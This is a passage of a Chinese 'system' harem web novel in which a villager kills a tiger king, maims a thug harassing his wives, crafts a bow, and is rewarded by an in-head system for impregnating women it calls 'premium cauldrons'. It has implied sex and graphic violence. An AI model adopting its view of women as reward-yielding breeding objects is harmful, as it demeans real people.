旁边一个婆子立马接话:“守什么活寡?长成那副模样,还怕没人要?咱们村的男人,怕是做梦都想呢。”
这话一出,周围响起一阵暧昧的哄笑声。
人群里,赵癞头和王麻子对视了一眼,都从对方眼中看到了毫不掩饰的淫邪和贪婪。
机会来了!
江夜那个傻子,花二十两银子买的极品娘们,他没福气享用,现在,该轮到他们兄弟了!
“麻子,走!”赵癞头把手里的狗尾巴草一扔,晃晃悠悠地就朝着江夜家走了过去。
王麻子嘿嘿一笑,搓着手,紧随其后。
村民们看到这俩二流子动了,都下意识地让开一条路,抱着看好戏的心态,伸长了脖子。
“哎呦,两位小娘子,别等了。你们那短命的男人,这会儿怕是连骨头渣都被虎王嚼碎了。”赵癞头走到茅屋前,一双三角眼肆无忌惮地在白梦夏和白梦秋身上来回扫视,那眼神,黏腻得像是要把她们的衣服扒光。
白梦夏脸色一变,猛地将妹妹护得更紧了,她浑身都在发抖,不知是气的还是怕的。
“你们要干什么?”她的声音带着颤音,却透着一股色厉内荏的倔强。
“干什么?”赵癞头笑得更得意了,“你看,你们男人**,也没个依靠。我们兄弟俩心善,见不得你们这么漂亮的姑娘受苦。不如这样,你们跟了我们兄弟,保证你们以后有吃有喝,晚上……也保管让你们舒舒服服的,哈哈哈!”
污言秽语不堪入耳,王麻
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子在旁边笑得前仰后合,口水都快流下来了。
周围的村民有的皱起了眉头,觉得这话太出格,但更多的人是起哄看热闹。
“滚!”白梦夏气得眼圈通红,**的泪水在眼眶里打转。她这辈子都没听过这么恶心的话。
“哟,还挺辣。”赵癞头非但不生气,反而觉得更有味道了。他舔了舔干裂的嘴唇,脸上的笑容变得狰狞起来,“小美人,别给脸不要脸。今天你们是跟也得跟,不跟……也得跟!”
他说着,竟真的伸出那只脏兮兮的手,朝着白梦夏那张吹弹可破的俏脸摸了过去。
他想得很美,先摸摸脸,再拉拉小手,把这两个小娘们吓唬住,今晚就能拖进屋里快活了。
白梦夏瞳孔骤缩,眼中瞬间涌上无尽的绝望和**。
完了……
就在赵癞头的手指即将触碰到白梦夏脸颊的那一瞬间。
一道破空声陡然从后方响起!
“咻——!”
“噗嗤!”
一声利器穿透血肉的沉闷声响,清晰地传到每一个人的耳朵里。
时间,在这一刻仿佛静止了。
赵癞头伸出去的手,僵在了半空中。
他脸上的淫笑,也凝固了。
他愣愣地低下头,看着自己的手。
一支尾羽鲜红的箭矢,从他的手背穿入,手心穿出,带着一蓬飞溅的血珠,将他的整只手掌,死死地钉在了他身后的木门框上!
一秒的死寂。
“啊——!!!”
下一秒,一声比杀猪还要凄厉百倍的惨嚎,猛地从赵癞头的喉咙里爆发出来,响彻了整个稻花村!
全场,死寂。
所有人都被这血腥无比的一幕给震住了。
那尖锐的惨叫还在耳边回荡,可每个人的脑子都成了一片空白。
王麻子脸上的笑容僵住了。
王翠花嘴里的瓜子掉在了地上。
白梦夏猛地睁开眼,和怀里同样惊呆了的妹妹一起,不可思议地看着眼前这骇人的一幕。
所有村民,都像被施了定身法一样,僵在原地,然后,不约而同地,缓缓转过头,望向那声音传来的方向。
第14章 他回来了
在小路的尽头,一个身影逆着光,一步一步,走了出来。
他的肩上,扛着一个高大的汉子,那汉子浑身是血,一动不动,不知死活。
而他的另一只手,拖着一个……一个小山般的阴影。
那是什么?
村民们揉了揉眼睛,看不真切。
随着那身影越走越近,那巨大的阴影也愈发清晰。
黑黄相间的斑斓条纹,蒲扇般大小的巨爪,还有那颗硕大无比、独眼处血肉模糊的头颅……
“虎……虎……”
一个老农嘴唇哆嗦着,手里的烟杆“啪嗒”一声掉在地上。
“是……是鬼见愁里的那头虎王!”
“我的老天爷……”
人群中,响起一片倒吸凉气的声音。
那可是虎王啊!
是一口就能咬掉王刚半个身子的山中霸主!
可现在,这头让所有猎户闻风丧胆的畜生,却像一条死狗一样,被人单手拖在地上。
终于,那人走近了。
夕阳的余晖勾勒出他冷硬的轮廓,那张平日里带着几分懒散的脸,此刻面无表情,一双眸子,冷得像深冬的寒潭。
是江夜!
那个败家子!那个懒汉!
他回来了。
扛着生死不知的哥哥,拖着一头已经死透的虎王,回来了。
整个稻花村,鸦雀无声。
所有人的瞳孔都在剧烈地收缩,看着眼前这魔幻的一幕,大脑一片空白,彻底失去了思考的能力。
赵癞头那杀猪般的惨叫还在继续,可已经没人去理会了。
王慧慧听见惨叫,以为那两个流氓在欺负白家姐妹,抄起院里的扫帚就冲了出来。可当她冲到门口,看到眼前景象的瞬间,整个人都定在了原地。
她看到了那个让她牵肠挂肚的男人,看到了那头传说中能**的猛虎,已经变成了一具冰冷的尸体。
呆滞,仅仅持续了一瞬。
下一秒,一股难以言喻的狂喜,瞬间冲垮了她所有的理智和防线。
“哇——!”
王慧慧扔掉手里的扫帚,爆发出了一声撕心裂肺的哭嚎。
她像个疯子一样,扑到江峰的身边,死死抓住丈夫冰冷的手,贴在自己满是泪痕的脸上。
“江峰!你个杀千刀的!你没死……你没死啊……”
她哭得涕泪横流,语无伦次。
而站在茅屋门口的白梦夏和白梦秋,在看到江夜出现的那一刻,整个世界都亮了。
她们的夫君。
在她们最绝望,最无助的时候,他回来了。
刚才那一箭,是他射的!
是他救了她们!
劫后余生的巨大狂喜和一种近乎盲目的崇拜,让姐妹俩的眼泪瞬间决堤。
她们看着那个顶天立地的身影,美眸中异彩连连,泪水无声滑落,浸湿了衣襟。
夫君……
另一边,王麻子已经彻底吓傻了。
他看着被钉在门板上,手掌被箭矢穿透的赵癞头,又看看拖着老虎走来的江夜。
他双腿一软,“噗通”一声就跪在了地上。
“江……江大爷!不,江爷爷!饶命啊!不关我的事啊!都是赵癞头,都是他出的馊主意!我就是个跟屁虫,我什么都没干啊!”
他一边说,一边“砰砰砰”地用力磕头,不一会儿额头就磕出了血。
不远处,刚刚还在幸灾乐祸的王翠花,一张脸早已煞白如纸,嘴里的瓜子什么时候掉的都不知道。
她看着那头死虎,又看看江夜那冰冷的眼
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神,只觉得一股寒气从脚底板直冲天灵盖。
她不敢再多看一眼,缩着脖子,悄无声息地溜回了人群,然后灰溜溜地钻回了自己家,把院门插得死死的。
江夜对周围的一切都视若无睹。
他将肩上的江峰小心翼翼地放下,转头叮嘱王慧慧。
“嫂子,哥的腿伤了,快找郎中。”
王慧慧这才如梦初醒,胡乱地抹了把眼泪,连连点头,慌慌张张地往村里郎中家跑去。
做完这一切,江夜才转过身,一步一步,走回到那扇破旧的木门前。
赵癞头还被钉在那里,手上的剧痛让他面目扭曲,汗如雨下,嘴里发出断断续续的呻吟。
江夜走到他面前,面无表情的伸出两根手指,捏住了那支箭矢的尾羽。
“不……不要……江夜,我错了……我再也不敢了……啊——!”
赵癞头的求饶,被一声更凄厉的惨叫所取代。
江夜看都没看他一眼,干脆利落地将那支带血的箭矢,从他的手掌和门板上,硬生生拔了出来!
“噗嗤!”
血光迸溅。
赵癞头眼珠一翻,剧痛之下,竟是直接昏**过去,像一滩烂泥般瘫软在地。
江夜随手将那支还在滴血的箭矢插回箭囊,他缓缓抬起头,那双冰冷的眸子,扫过在场的所有村民。
刚才还在起哄的,看热闹的,议论纷纷的村民们,在接触到他目光的瞬间,全都像被扼住了喉咙的鸡,一个个低下头,缩起脖子,连大气都不敢喘一口。
无人,敢与之对视。
这一刻,所有人都明白。
稻花村那个任人欺辱的江家懒汉,已经不复存在,取而代之的,是一个他们谁也惹不起的存在。
第15章 虎骨参汤
夜幕降临,稻花村陷入一片死寂,只有几户人家的窗户透出豆大的光。
然而,一股霸道无比的肉香,却从村东头那间最破败的茅屋里飘了出来,蛮横地钻进每一户人家的鼻子里。
那香味浓郁得化不开,勾得人肚里的馋虫直打滚。
不少人家刚把寡淡的杂粮饼子送进嘴里,闻到这味儿,顿时觉得嘴里没了滋味,一个个伸长了脖子,朝着江夜家的方向猛吸鼻子。
江夜家的灶房里,一口大铁锅“咕嘟咕嘟”地冒着热气。
锅里,几块硕大的虎骨和一整条虎腿在翻滚,汤色熬得奶白。江夜毫不心疼地将那百年野山参的一小节参须扔了进去,一股更加奇异的幽香瞬间炸开,与肉香混合在一起,闻上一口都让人觉得浑身舒坦。
他盛了一大陶锅,用盖子盖好,对正在灶下烧火的白梦秋说:“梦秋,看好火,我给大哥他们送汤去。”
白梦秋乖巧地点点头,一双美眸亮晶晶地看着他,满是崇拜。
江夜端着滚烫的陶锅,来到江峰家院外。
屋里,郎中刚走,王慧慧正坐在床边,用布巾擦着眼泪,五岁的琼琼趴在床头,小声地抽泣着。
江峰躺在床上,左腿被包扎得严严实实,脸上依旧没什么血色。
“嫂子,我熬了锅汤,给哥补补身子。”江夜的声音在门口响起。
王慧慧身子一僵,抬起头,看着端着陶锅走进来的江夜,眼神复杂到了极点。有感激,有愧疚,还有一丝不知所措。
她张了张嘴,那句刻薄的“谁要你假好心”却怎么也说不出口。
“叔叔!”琼琼看到江夜,眼睛一亮,从床头跳下来,小跑到江夜身边,仰着小脸,满眼都是小星星,“叔叔,你把大老虎打**!你好厉害!”
江夜笑着摸了摸她的小脑袋,将陶锅放在桌上,揭开盖子。
一股浓烈到极致的香气瞬间充满了整个屋子。
琼琼,括刚刚还在哭哭啼啼的王慧慧,都不由自主地咽了口唾沫。
王慧慧看着那锅奶白色的浓汤,闻着那股混着药香的肉味,再想到白天那魔幻的场景,只觉得恍如隔世。
这个小叔子,到底是什么时候变得这么……厉害了?
江夜盛了一碗,递给王慧慧:“嫂子,喂哥喝点。”
王慧慧默默接过碗,吹了吹,小心地喂到江峰嘴边。
一碗汤下肚,江峰的脸上竟肉眼可见地恢复了一丝血色。
“阿夜……这……这是……”
“虎骨参汤,大补。”江夜说得轻描淡写,“锅里还有,嫂子和琼琼也喝点。”
他说完,转身就走。
王慧慧看着他的背影,嘴唇动了动,最终只低低地说了一句:“……路上,黑,小心点。”
……
江夜回到家时,姐妹俩正襟危坐地在桌边等他,谁也没动筷子。
桌上,摆着几道菜。
红烧虎肉,炖得软烂入味,色泽红亮。
爆炒虎杂,香气扑鼻。
还有一大盆虎肉白菜。
在这灾荒年头,这简直是皇帝才能享受的盛宴。
“等**嘛,快吃。”江夜笑着坐下,给她们一人夹了一大块肉。
姐妹俩这才拿起筷子,小口小口地吃了起来。
她们吃得很慢,很珍惜,眼圈都是红的。
这是她们逃难以来,吃得最安心,也最幸福的一顿饭。
而给她们这一切的,就是眼前这个男人。
白梦夏和白梦秋看着江夜的眼神,温柔得几乎能滴出水来,那里面除了爱慕和感激,更多了一种名为崇拜的光。
饭后,江夜去烧水沐浴。
木桶里热气氤氲,他脱掉衣服,将疲惫的身体浸入热水中,舒服地长出了一口气。
就在这时,门“吱呀”一声被推开。
白梦秋端着一盆热水走了进来,她换了一件干净的旧衣服,虽然宽大,却更显得身姿纤弱,婀娜动人。
“夫君,我……我帮你添些热水。”
她低着头,不敢看江夜。
她走到木桶边,将热水缓缓倒入,然后拿起搭在旁边的布巾,浸湿,拧干,声音细若蚊吟:“我……我帮您擦背。”
不等江夜回答,她便绕到木桶后面,伸出纤纤玉手,在他宽阔结实的后背上轻轻擦拭起来。
少女的手很软,动作带着一丝生涩和笨拙,却格外认真。
温热的布巾划过结实的肌肉,带着若有若无的触碰,让木桶里的水温都仿佛
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升高了几分。
江夜闭着眼,能闻到她身上传来的淡淡幽香。
他心中一动,猛地睁开眼,一把抓住了那只还在他背上忙活的小手。
“啊!”
白梦秋惊呼一声,手里的布巾掉进水里,整个人被一股巨力往前一拽,重心不稳跌进了木桶。
水花四溅。
她瞬间成了一只落汤鸡,湿透的衣衫紧紧贴在身上,勾勒出少女玲珑浮凸的绝美曲线。
“夫君……”
白梦秋又羞又怕,刚想挣扎,就被一双有力的臂膀紧紧圈住。
她抬起头,对上了一双燃烧着火焰的眸子。
所有的挣扎,瞬间化为了娇羞的低吟。
江夜懒得再废话,拦腰将怀里温香软玉的娇躯一把抱起,大步流星地走向屋里唯一的那张床。
床榻上,白梦夏早已躺下,听到动静,她侧过身,看到眼前这一幕,一张俏脸“唰”地一下红透了。
她咬着唇,默默地往床里面挪了挪,空出了大半的位置。
……
一夜春光,酣畅淋漓。
第二天,江夜神清气爽地醒来,只觉得浑身上下充满了用不完的力气。
怀里,白梦秋累得不轻,像一只温顺的小猫,蜷缩在他臂弯里,睡得正香,长长的睫毛上还挂着一丝晶莹。
就在这时,那道熟悉的机械音,在他脑海中准时响起。
【叮!恭喜宿主开枝散叶,血脉传承有望!】
【检测到极品鼎炉白梦秋已受孕,奖励发放中……】
【恭喜宿主获得:神级工匠技艺!】
江夜抱着怀里娇躯的动作,猛地一僵。
又有了!
他低头看了一眼还在熟睡的白梦秋,心中一片火热。
好!太好了!
紧接着,一股比上次获得宗师级箭法时,还要庞大百倍的信息洪流,轰然灌入他的脑海!
这一次,不再是单纯的技巧和经验。
而是包罗万象,精妙到极致的百工之术!
如何辨识天下万木,取其纹理,顺其天性,如何开山采石,辨矿炼铁,锻打百炼钢,甚至,还有各种巧夺天工的机关之术……
这些知识,庞杂,精深,却又无比清晰地烙印在他的灵魂深处。
第16章 神级工匠
江夜闭着眼,静静地躺在床上,感受着这些仿佛与生俱来的记忆。
许久,江夜缓缓睁开眼。
他的目光,不经意间落在了墙角。那里,放着那把因为射杀虎王而崩断的破木弓。
就在几分钟前,他还觉得这把弓虽然破旧,但毕竟是大哥的武器,修修还能用。
可现在,在他的眼中,这把弓简直就是一堆彻头彻尾的垃圾。
材质低劣,工艺粗糙,弓臂的弧度充满了致命的缺陷,弓弦更是绑得一塌糊涂……
用这种东西杀了虎王?
江夜自己都觉得有点不可思议,同时,一股强烈的嫌弃涌上心头。
不行。
宗师级的箭术,岂能配这种烧火棍?
他需要一把真正的神兵!
这个念头一起,便再也压抑不住。
江夜轻手轻脚地起床,给姐妹俩盖好被子,悄然推门而出。
天色尚早,村里静悄悄的。
他没有惊动任何人,直接扛起院里那把砍柴的破刀,径直朝着后山走去。
路过村口时,几个早起准备下地的村民正聚在一起闲聊。
为首的,正是那个尖酸刻薄的王翠花。
她正压低了声音,对着身边几个婆娘唾沫横飞地比划着什么,脸上满是后怕和一丝压抑不住的嫉妒。
眼角余光瞥见江夜的身影,王翠花的声音戛然而止,二话不说,转身就往自己家院里钻,连背影都透着一股仓皇。
另外几个村民也是脸色一变,纷纷低下头,扛着锄头,默不作声地散开,连个屁都不敢放。
不远处,赵癞头正缠着绷带的右手揣在怀里,一脸怨毒地蹲在墙根下。
江夜对这些连眼角的余光都懒得给一个。
他径直入了山。
一踏入山林,整个世界仿佛都变了。
在他的眼中,每一棵树,每一块石头,都不再是简单的树和石头。
他能清晰地“看”到这些松木的年轮和纹理,知道它适合做梁柱;他能“看”到那片竹林的韧性,知道它适合编筐做席;他能“看”到那块青石的密度,知道它适合打磨成石磨。
这就是神级工匠的视角。
他没有去那些猎户们常去的林子,而是直接拐进了一片人迹罕至的区域。
这里的树木长得歪七扭八,在村民眼中,这些都是连当柴烧都嫌费劲的“废料”。
江夜却在这片“废料”中,仔细地搜寻着。
终于,他的目光定格在一棵半山腰上的大树上。
那树约莫两人合抱粗,树干呈灰黑色,长得并不算笔直,树皮也粗糙不堪,看上去平平无奇。
可在江夜眼中,这棵树却仿佛在发光。
铁桦木!
一种生长极其缓慢,木质坚硬如铁的极品木材!
因为太过坚硬,寻常刀斧难伤,在村民眼中,这就是最没用的“石头树”。
可江夜知道,这是制作弓臂最顶级的材料之一!
就是它了。
江夜走到树前,掂了掂手里那把刃口都卷了的柴刀,微微皱了皱眉。
工具太差。
不过,也够用了。
他没有像普通樵夫那样,费力地从树干底部开始砍。
而是绕着树走了一圈,伸出手指,在树干的不同位置轻轻敲击着。
片刻后,他眼中精光一闪。
“就是这里。”
他找准了树干三分之一处的一个节点,深吸一口气,手中柴刀猛然挥出!
“铛!”
一声如同金石交击的脆响!
那把破柴刀,竟只在坚硬的树皮上,留下了一道浅浅的白印。
若是旁人,此刻怕是已经骂娘了。
江夜却神色不变,他手腕一抖,柴刀以一个极其刁钻的角度,沿着刚才那道白印,再次劈下!
这一次,他用的力气不大,却巧到毫巅。
“咔!”
一声轻响,一大块脸盆大小的树皮,应声而落。
接着,江夜的动作快如鬼魅。
他手中的破柴刀,仿佛化作了最锋利的刻刀,在那坚硬如铁的树干上,上下翻飞。
削、劈、砍、剜……
木屑纷飞,有条不紊地落下。
不过一炷香的功夫。
“咔嚓——”
随着一声脆响,那棵巨大的铁桦木,竟是从江夜开凿的那个缺口处,整整齐齐地断裂开来。
上半截树冠,纹丝不动。
而下半截长约两米的树干,则被他硬生生地“掏”了出来。
江夜扔掉柴刀,走到那截树干前。
他没有去管外面那层粗糙的树皮和白色的边材,而是直接看向了树干最中心,那一片纹理细密如丝的木心。
这,才是这棵百年铁桦木的精华所在。
他伸出手,在那光滑如玉的断面上轻轻抚过,嘴角勾起一抹满意的弧度。
有了它,神兵可成!
……
江夜扛着那截碗口粗的铁桦木心回到院里。
这木头沉得
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吓人,密度极大,分量堪比同体积的生铁。可在江夜肩上,却轻若无物。
他将木料“咚”的一声扔在院中,地面都跟着震了三震。
屋里的白梦夏和白梦秋被这动静惊动,赶忙走了出来。当看到院中那根黑黝黝
的木头时,姐妹俩都愣住了。
“夫君,这是……”白梦夏美眸中带着一丝疑惑。
“做弓的材料。”江夜笑了笑,拿起墙角的破柴刀,又找了块磨刀石,开始慢条斯理地磨着刀刃。
姐妹俩对视一眼,都从对方眼中看到了不解。用这么一根“铁木头”做弓?这怎么可能。村里的猎户都说,这东西连劈柴都嫌硬,刀刃都能给你崩了。
可她们没有多问,只是安静地去灶房生火做饭,然后就搬了两个小板凳,坐在屋檐下,静静地看着院中那个男人。
江夜磨好了刀,随手拿起那截铁桦木。
下一刻,姐妹俩的呼吸都停滞了。
江夜没有画线,没有丈量,只是凭着感觉,一刀削下。
“唰——”
一片薄如蝉翼的木屑,打着旋儿飘落。
那坚硬如铁的木料,在他刀下,竟温顺得如同豆腐。
削、磨、刻、烘……
江夜的动作行云流水,没有一丝一毫的滞涩。
他时而用刀背轻轻敲击,听着木头内部传来的回响,判断其纤维的走向;时而将弓胚置于火上慢烤,精准地控制着火候,让木料的弧度变得更加完美。
姐妹俩看得痴了。
她们不懂什么叫神级工匠技艺,她们只看到,那个平日里带着几分懒散的男人,此刻却专注异常,他身上散发出的那种自信与从容,比昨日带回来虎王时,更让她们心旌摇曳。
时间,在不知不觉中流逝。
当锅里的虎肉汤熬得香气四溢时,江夜停下了手中的动作。
姐妹俩猛地回过神,朝江夜手中看去。
只见那根黑黝黝的铁木头,已经彻底变了模样。
一张造型古朴的长弓,静静地躺在地上。
它的线条流畅而充满力量感,弓身微微向内弯曲,呈现出一个完美的弧度。通体漆黑,却又不是死气沉沉的黑,在晨光的照耀下,表面竟隐隐有流光闪动,仿佛内蕴星辰。
仅仅是看着,就能感受到其中蕴含的**性力量。
“好……好漂亮……”白梦秋喃喃自语,一双美眸中异彩连连。
这哪里是弓,分明是一件艺术品。
第17章 盖个大房子
江夜显然也对自己的作品很满意,他拿起弓胚,用手掌细细摩挲着,感受着那温润如玉的触感。
弓身已成,还差最关键的弓弦。
他走进屋,小心翼翼地抽出了一根最粗壮、最完整的虎筋。
这可是虎王的筋,其韧性与强度,远非普通野兽可比。
江夜没有用传统的硝制法,而是用一种更为古老的手法开始搓捻。
他的动作不快,但随着他的搓动,那根原本还带着血丝的虎筋,就变得更剔透,更坚韧。
片刻之后,一根通体晶莹,细如发丝的弓弦,便已成型。
江夜拿着弓弦,走到弓胚前。
他深吸一口气,一手抵住弓臂下端,一手拉住弓弦,猛然发力。
“嗡——”
一声低沉如龙吟般的闷响,在院中骤然响起。
弓与弦,在这一刻完美合一!
当江夜将这把全新的猎弓握在手中时,一股血脉相连的感觉油然而生。仿佛这把弓不再是死物,而是他手臂的延伸。
弓身入手微沉,带着铁桦木特有的质感,弓弦绷紧,充满了野性的张力。
江夜满意地点了点头。
江夜从墙角那个破箭囊里,随手抽了一支最普通的木箭。那箭矢还是江峰自己做的,箭头只是简单削尖,尾羽都掉了大半,歪歪扭扭,看着就寒碜。
可江夜毫不在意。
他持弓而立,目光望向了百米开外,村口的那棵老槐树。
那棵树,是稻花村的标志,树龄比村里最老的老人还要大,树干粗壮得要三四个成年人才能合抱。
江夜左手持弓,右手搭箭。
那张足以让三五个壮汉都束手无策的强弓,在他手中,却像是没有重量一般,被他轻而易举地拉开。
弓开满月!
一股无形的,令人心悸的气势,从江夜身上轰然散开。
坐在屋檐下的白梦夏和白梦秋,都感受到了这股气势,不约而同的屏住了呼吸,紧紧盯着夫君的背影。
江夜瞄准了那百米之外的老槐树,手指,轻轻一松。
“咻——!”
没有弓弦震动的嗡鸣,也没有箭矢划破空气的“嗖嗖”声。
只有一声尖锐到极致的啸音!
那根歪歪扭扭的木箭,在离开弓弦的瞬间,就从姐妹俩的视线中彻底消失了!
姐妹俩甚至都没看清箭矢的飞行轨迹,就听到远处传来“噗”的一声闷响。
两人连忙凝神望去。
只见百米开外,那棵巨大的老槐树的树干上,多了一个不起眼的小黑点。
而那支木箭的尾羽,以一种肉眼几乎无法捕捉的频率,疯狂地颤动着。
整支箭矢,除了最后那一小截尾羽,竟已全部没入了坚硬无比的老槐树树干之中!
“嘶……”
白梦夏和白梦秋齐齐倒吸了一口凉气,美眸圆睁,脸上写满了震撼与不可思议。
这……这是何等恐怖的力道!
那可是百米开外啊!
别说是木箭,就算是铁匠铺里最好的精钢箭矢,也不可能造成如此可怕的效果!
江夜看着远处的战果,嘴角勾起一抹极度满意的弧度。
这威力,比他前世玩过的那些**,还要恐怖!
宗师级的箭法,配上这把神兵,简直是绝配!
他满意地收起神弓,转身回屋。
刚踏进屋里,一股饭菜的香气便扑面而来。
屋里,姐妹俩早已将饭菜摆好在桌上,正眼巴巴地等着他。
依旧是虎肉,但做法又换了花样。一盘酱色浓郁的虎排,一碗清淡的虎骨汤,还有一碟清炒的野菜。
“夫君,快来吃饭。”白梦夏解下围裙,脸上带着温柔的笑意,替他拉开板凳。
白梦秋则端来一盆热水,用布巾浸湿了,拧干,递到江夜面前:“夫君,擦擦手。”
江夜坦然地享受着这一切,他坐在桌前,姐妹俩一个为他盛饭,一个为他夹菜,将他的陶碗堆得冒了尖。
“你们也吃。”江夜发话。
姐妹俩这才拿起筷子,却不怎么吃自己碗里的,只是不停地给江夜夹菜。眼神里的爱慕个崇拜,几乎要满溢出来。
一顿饭吃得心满意足。
饭后,姐妹俩收拾了碗筷,又一前一后地走到江夜身后。白梦夏伸出纤纤素手,力道适中地为他捏着肩膀,白梦秋则跪坐在他腿边,轻轻捶打着他的小腿。
温香软玉在怀,鼻尖萦绕着她们身上淡淡的馨香,江夜舒服得眯起了眼。前世九九六的社畜,何曾有过这般帝王般的享受。
小腹处,一股熟悉的邪火不受控制地升腾起来。
可这火刚烧起来,就被一盆冷水浇灭了。
他想起来了,梦夏和梦秋,现在都揣着崽呢。
【叮!宿主请注意,极品鼎炉白梦夏、白梦秋均已受孕,在诞下子嗣前,无法再次触发系统奖励。】
脑海中,系统那冰冷的提示音适时响起,不带一丝感情。
江夜心中一叹。
奖励的通道,暂时关闭了。
看来,必须尽快找到新的……咳,新的家人,才能继续开枝散叶,获得奖励,走上人生巅峰。
这念头只在脑中一闪而过,便被他压了下去。
当务之急,不是想这些有的没的。
夜渐渐深了。
三人同榻而眠,江夜睡在中间,左拥右抱。
屋外,秋风萧瑟,卷起漫天落叶,发出“沙沙”声。
寒风无孔不入,从土坯墙的缝隙和破旧的窗纸处丝丝缕缕地钻了进来。
江夜体质过人,倒不觉得冷,可他怀里的白梦夏和白梦秋
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却在睡梦中下意识地缩了缩身子,往他怀里钻得更紧了些,像一只寻求温暖的猫儿。
江夜睁开眼,借着窗外微弱的月光,看着怀中两具娇柔的身体,眉头缓缓皱起。
这破房子,夏天漏雨,冬天漏风,怎么住人?
自己一个大男人无所谓,可她们不行。她们肚子里,还怀着自己的孩子。
不行。
必须在入冬之前,盖一座温暖又坚固的大房子。
这个念头一旦生出,便如野草般疯长。
他要在村里盖一座最好的房子,青砖大瓦房,冬暖夏凉,再也不让自己的女人和孩子受一点冻。
可盖房子,需要钱。
江夜在心里默默盘算了一下自己的家当。
那头虎王,虎皮是上好的皮料,一张就能卖个几十两银子。虎骨是珍贵的药材,也能卖些钱。再加上那株百年野山参,这更是有价无市的宝贝。
林林总总加起来,是一笔巨款。
可要盖一座像样的青砖大瓦房,买料、请工匠,里里外外算下来,怕是也要上百两银子。
钱,还是不够。
看来,只能再去一趟山里了。
……
第二天一早。
姐妹俩在灶房里忙碌着,浓郁的虎骨汤香味飘满了整个院子。
江夜吃完早饭,擦了擦嘴,站起身,径直走向墙边,拿起了那把通体漆黑的铁桦木神弓。
正在收拾碗筷的姐妹俩动作同时一顿。
白梦夏抬起头,看着丈夫的举动,美眸中流露出一丝掩饰不住的担忧:“夫君,您这是……”
“我要再进山一趟。”江夜的声音不大,却透着一股不容置疑的决断。
“又要进山?”白梦秋惊呼一声,连忙放下手里的东西,跑到江夜身边,抓住了他的衣袖,“夫君,山里太危险了,你昨天才……”
昨天那惊心动魄的一幕,还历历在目。
江夜放下弓,转过身,轻轻拍了拍她们俩的手背。
“放心。”
“今时不同往日了。”
“山里那些畜生,来多少都是给我送菜。”
他顿了顿,目光扫过这间破败的茅屋,声音变得柔和下来:“等我回来,咱们就把这破房子推了,盖个青砖大瓦房。到时候,冬天屋里烧着地龙,你们就不会冷了。”
青砖大瓦房?
姐妹俩都愣住了,那对她们来说,是以前在府邸里才能见到的景象,是她们连做梦都不敢想的事情。
看着男人脸上那自信笃定的笑容,她们心中的担忧,不知不觉就被一种巨大的幸福感和期待所取代。
“夫君……”白梦夏眼圈微红,千言万语,最终只化作一句,“您……您一定要小心。”
“嗯。”江夜点点头,拿起弓,转身大步走出了院门。
第18章 凤鸣之体
江夜踏入山林,整个人的气场都变了。
宗师级的箭法,让他对周围环境的感知敏锐到了极点。风吹过树叶的沙沙声,百米外草丛里野兔啃食嫩草的细微动静,都清晰地传入他的耳中。
他脚步不停,甚至没有刻意去瞄准。
“咻!”
手腕一抖,一支木箭便已离弦。
远处草丛里一声闷响,一只肥硕的野兔应声倒地,箭矢从眼眶贯入,干净利落。
走了不到一里路,他身后已经挂上了四五只野兔和两只山鸡。整个过程轻松写意,就像是在自家后院里捡东西。
可江夜很快就没了兴趣。
这些小东西,拿回去打打牙祭还行,想靠它们卖钱盖青砖大瓦房,得打到猴年马月去。
他掂了掂手里的神弓,目光望向了深山的方向。
那里,才是真正的宝库。
没有丝毫犹豫,江夜将打到的小猎物随手挂在身上,便迈开步子,朝着那片人迹罕至的区域进发。
越往里走,林木越是高大茂密,光线也变得昏暗起来。空气中弥漫着一股潮湿**的草木气息,偶尔还能听到远处传来的兽吼,平添了几分阴森。
又行了约莫半个时辰,江夜的脚步忽然一顿。
一阵激烈的打斗声,伴随着野兽狂暴的咆哮和一声清脆的女子叱喝,隐隐约约地从前方林中传来。
“喝!”
这声音清亮,带着一股英气,完全不似寻常女子的娇柔。
有人?
江夜眉毛一挑,来了兴趣。
这深山老林里,敢跟猛兽搏杀的,可不是一般人。
他收敛气息,将自己的存在感降到最低,悄无声息地朝着声音传来的方向摸了过去。
拨开身前最后一片厚密的灌木丛,眼前的景象让他瞳孔微微一缩。
前方的林中空地,此刻正上演着一幕血腥的搏杀。
一个身穿火红色劲装的女子,正手持一把雪亮的长刀,与三头体型庞大、獠牙外露的成年野猪缠斗在一起。
那女子约莫十**岁的年纪,身段高挑,曲线火爆。一头乌黑的长发用一根红色的发带高高束起,露出光洁饱满的额头。
她的容貌,与白家姐妹的温婉清雅截然不同,是一种极具侵略性的美。
一双凤眼微微上挑,眼角眉梢都带着一股英气和野性,鼻梁高挺,红唇似火。此刻因为激斗,她光洁的额头上渗出细密的香汗,绝美的脸颊上也沾了几道泥印,非但没有减损她的美丽,反而更添了几分野性的魅惑。
她的刀法极为凌厉,每一刀劈出,都带着一股一往无前的气势。身形更是矫健如雌豹,在三头野猪的疯狂冲撞下,辗转腾挪,游刃有余。
只是,江夜看得分明,她呼吸已经有些急促,握刀的手也因为长时间发力而微微发白。
以一敌三,对她的消耗太大了。
就在江夜打量那女子的时候,他脑海中,那沉寂了许久的系统提示音,毫无征兆地轰然响起!
【叮!发现极品鼎炉*1!资质绝顶!】
【姓名:慕容晴】
【体质:凤鸣之体
【评级:绝品!】
【此乃宿主家族崛起的关键
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!强烈建议宿主立即拿下!错过此次机会,宿主将追悔莫及!】
江夜的呼吸,猛地一滞。
凤鸣之体?
家族崛起的关键?
他看着那个在野猪群中浴血搏杀的火红身影,眼中爆发出前所未有的精光,嘴角不受控制地向上扬起。
真是……瞌睡了就有人送枕头啊!
战场中,慕容晴并不知道自己已经被一个“猎人”盯上了。
她抓住一头野猪冲撞过后的瞬间僵直,眼中厉色一闪,脚下发力,手中长刀划出一道凌利的弧线。
“噗嗤!”
滚烫的兽血冲天而起!
那头野猪的脖子,竟被她硬生生地劈开了一半,庞大的身躯轰然倒地,抽搐了几下便没了动静。
一击得手,慕容晴心中却没半分喜悦,反而警铃大作。
为了斩杀这头野猪,她几乎用尽了全力,旧力已去,新力未生,露出了一个致命的破绽!
果然!
另外两头野猪闻到浓郁的血腥味,彻底陷入了狂暴。
它们猩红的眼睛死死盯着慕容晴,粗壮的四蹄猛地刨地,下一秒,便从左右两个完全相反的方向,朝着她猛冲而来!
慕容晴的脸色,瞬间变得惨白。
她想回刀格挡,可手臂却酸软得几乎抬不起来。
想闪避,可左右两边都已被彻底封死。
完了……
看着那越来越近的獠牙,慕容晴的眼中,闪过一丝浓浓的不甘和绝望。
凤啸寨的担子还压在她肩上,她不能死在这里!
可是,一切都晚了。
第19章 不如你入赘我凤啸寨
